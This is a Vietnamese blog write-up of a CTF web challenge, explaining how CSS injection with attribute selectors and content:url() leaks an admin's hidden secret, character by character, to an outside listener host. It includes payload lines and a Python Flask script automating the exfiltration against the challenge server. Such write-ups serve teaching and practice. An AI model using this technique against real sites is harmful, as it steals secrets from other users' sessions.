WhiteHat Contest 11 - Ultimate Design Tool

Sau cơn mưa, đừng vội bỏ áo mưa (1 icon nào đó của vozforums)

20141214094521-baocaosu285

Nội dung bài viết được thực hiện trên 1 trang mà tôi tự tiện clone lại đề của Bkav.
Nếu bạn đã đọc đến đây thì tức là bạn đang tìm kiếm lời giải cho 1 vấn đề, và hãy tiếp tục đọc xuống bên dưới, nếu bạn muốn tự khám phá thì hãy dừng lại ở đây và quay trở lại khi tạm thời chưa nghĩ ra ý tưởng, hoặc những ý tưởng của bạn đúng nhưng tôi lại setup sai 😕

Đề bài cho ta 1 đường link và dĩ nhiên theo quán tính tôi sờ tay vào ch...chuột click mở lấy vài cái cửa sổ, 1 cái view-source, 1 cái view page đã render.

1

Nếu bạn chưa quen làm việc với những challenge liên quan đến web, tôi khuyên bạn nên sử dụng công cụ proxy để theo dõi các request từ client và response. Nói cách khác, việc nắm bắt những hành động của challenge sẽ giúp bạn có cái nhìn tổng quan về attack surface. Tôi thấy mấy anh bạn hay dùng Chrome, nên tôi dùng luôn cái Developer tools của Chrome, bật "Preserve log" trong tab Network để những request cũ không bị xóa khi chuyển trang.2

Sơ bộ khi nhấn "Share your button!" sẽ có 1 request gửi đi với những tham số mà tôi nhập trong hình, cách xử lý dữ liệu gửi đi từ client rõ hơn trong file app.js, hướng đến push.php

 

3

Quan sát response, ta thấy điểm chung là có dữ liệu giống như trong request gửi đi. Một trang design button có chức năng share, là bước đầu của việc share + tín dụng (1 icon nào đó từ voz). Nếu chỉ có mình đọc được thì hơi chán, dẫn đến một vài phán đoán là có người thứ 2 đọc được, người ấy, chắc chắn không phải người yêu mình, mà là 1 thứ gì đó gọi là bot, hay flag keeper. Tình huống này rất có thể là client-side attack mà thông thường là XSS (đôi khi xuất hiện trong các kì CTF gần đây).

Có thêm 1 dữ kiện nữa là có 1 thành phần được comment trong code

<!-- Admin only ... 
<span value="secret"></span> 
-->

Tốt nhất là chiếm được phiên của admin để có được secret (có thể là flag luôn). Tóm lại là mình sẽ ngồi chèn javascript để get source code của cái trang admin đấy, bao gồm cả secret value luôn.

Việc dự đoán như vậy rất dễ khiến con nhà người ta đi sai hướng và không lấy được flag, ví dụ như người ra để muốn mình khai thác sql injection, hay command injection, các loại tiêm chủng mở rộng mà mình cứ đâm đầu vào khai thác XSS chẳng hạn. Đó là lý do tại sao bạn nên kiểm tra tất cả các khả năng mà bạn có thể nghĩ ra, chuyển hướng hoặc chuyển sang làm bài khác, hoặc blame admin đến khi có đội làm ra (đôi khi đề deploy có sơ suất nên không thể giải được).

Bài này mình đã bị sai hướng, rõ ràng là inject javascript rất đơn giản, mặc dù tất cả các ký tự đi qua đều đã bị lowercase, để rồi mình bypass được để chèn thêm javascript, hi vọng 100 điểm chỉ thế thôi (#khalachackeo)  nhưng tất cả không xi nhê gì cả (việc bypass thế nào là 1 bài tập nhỏ cho các bạn có hứng thú 😀 )
Tiếp đến nhận được gợi ý 1 là CSS Injection, à vâng, làm mình nhớ ngay đến cuộc thi SVATTT, ngay lúc đọc đề là mình thấy quen rồi, hóa ra là người thân thật 😮

Bài writeup rất xuất sắc của bạn @tsu cho bài trong SVATTT, và writeup cho bài mà bạn đang đọc, rất đáng tham khảo 😀

Đầu tiên là việc lựa chọn thẻ <span> nơi lưu admin secret,  phần này giải thích khá phức tạp, người ta có thể dùng css để lập trình bài fizzbuzz, đọc thêm về css.

span {} -> chọn thẻ bất kì tag span có trong page (có 1 nếu là admin)

span[value] {} -> chọn thẻ span có thuộc tính (attribute) value, mặc kệ nội dung của value là gì

span[value="secret"] -> chọn thẻ span có giá trị của value là secret hay code html là :  <span value="secret"></span>

Tuy nhiên do không biết giá trị của secret, và css select chỉ hỗ trợ 1 vài kiểu select đơn giản, không phức tạp như regex. Ta sẽ cần sử dụng những điều kiện ít ỏi đó để blind dữ liệu.

Trong trường hợp này ta có thể chọn :

span[value^="secret"] -> chọn thẻ span có phần đầu của value là secret

span[value$="secret"] -> chọn thẻ span có phần cuối của value là secret

span[value*="secret"] -> chọn thẻ span có secret xuất hiện trong value -> cái này không giúp được gì. [1]

Tiếp theo đó, thay vì dùng "{}" mục đích là không thay đồi style của span, ta sẽ dùng content  : url () để leak dữ liệu, tức là nếu có có 1 thành phần nào đó thỏa mãn css selector thì phần content: url sẽ được áp dụng -> browser sẽ load thành phần bên trong url, và mình sẽ cài đặt 1 listener để đợi kết nối đến ở 1 public ip hoặc dịch vụ như requestb.in

Tiếp tục, server lại filter ^=  thành ***= nên ta sẽ dùng $=

ta cần 1 chuỗi các ký tự in được (printable) hoặc có thể nhiều hơn.

với mỗi ký tự ta sẽ gửi payload đi như sau:

{} span[value$="a"] {content:url('http://babyphd.net/whatever')}

Khi gửi đến push.php, page sẽ được render từ

<style> button {} span[value$="a"] {content:url('http://babyphd.net/whatever')} </style>

nếu value kết thúc bằng ký tự a, sẽ có 1 request từ bot hỏi resource http://babyphd.net/whatever, ngược lại, nếu value không kết thúc bằng a -> không có request nào được tạo ra.

Sau 1 hồi blind có 3 ký tự cuối là d58 mình quyết định rút gọn lại charset là 0-9a-f cho phù hợp với định dạng flag của mấy bài khác.
Rất tiếc là lúc đó mình làm thủ công toàn bộ #surevcl

Mình bây giờ sẽ load toàn bộ charset vào trong 1 request cho đỡ mất công 😀 Và thay vì ngồi chờ thủ công thì mình sẽ làm simple server để tự xử lý đến khi hết flag thì thôi 😀 Đoạn code dưới cần 1 request "mồi nhử" 😀

from flask import Flask
import requests

charset = "0123456789abcdef"

def worker(s):
    d = ""
    for c in charset:
        d += """span[value$="%s"] {content: url('http://sever-running-this-script:5000/flag/%s')} """ % (c+s, c+s)
    # print d
    url = "http://vz.damnctf.pw/1/push.php"
    requests.post(url, data = {"csscode":""" {} %s """ % (d), "submit":"Share your button!"})
    print "sent"
app = Flask(__name__)

f = ""

@app.route("/flag/<id>")
def hello(id):
    global f
    print 'current_flag', id
    worker(id)
    return "Hello World!"

if __name__ == "__main__":
    app.run(host = "0.0.0.0", debug=True, port=5000,  threaded=True))

Source của push.php mình viết coi như bài tập cho các bạn 😀

----

Update 1:

[1] một người bạn chỉ ra rằng vẫn còn khả năng khai thác  cho trường hợp  này : tấn công vào 2 bên đến khi có flag 😀 ta sẽ cần nhiều hơn (cụ thể là len(charset)*2) điều kiện blind.

Leave a Reply

Your email address will not be published. Required fields are marked *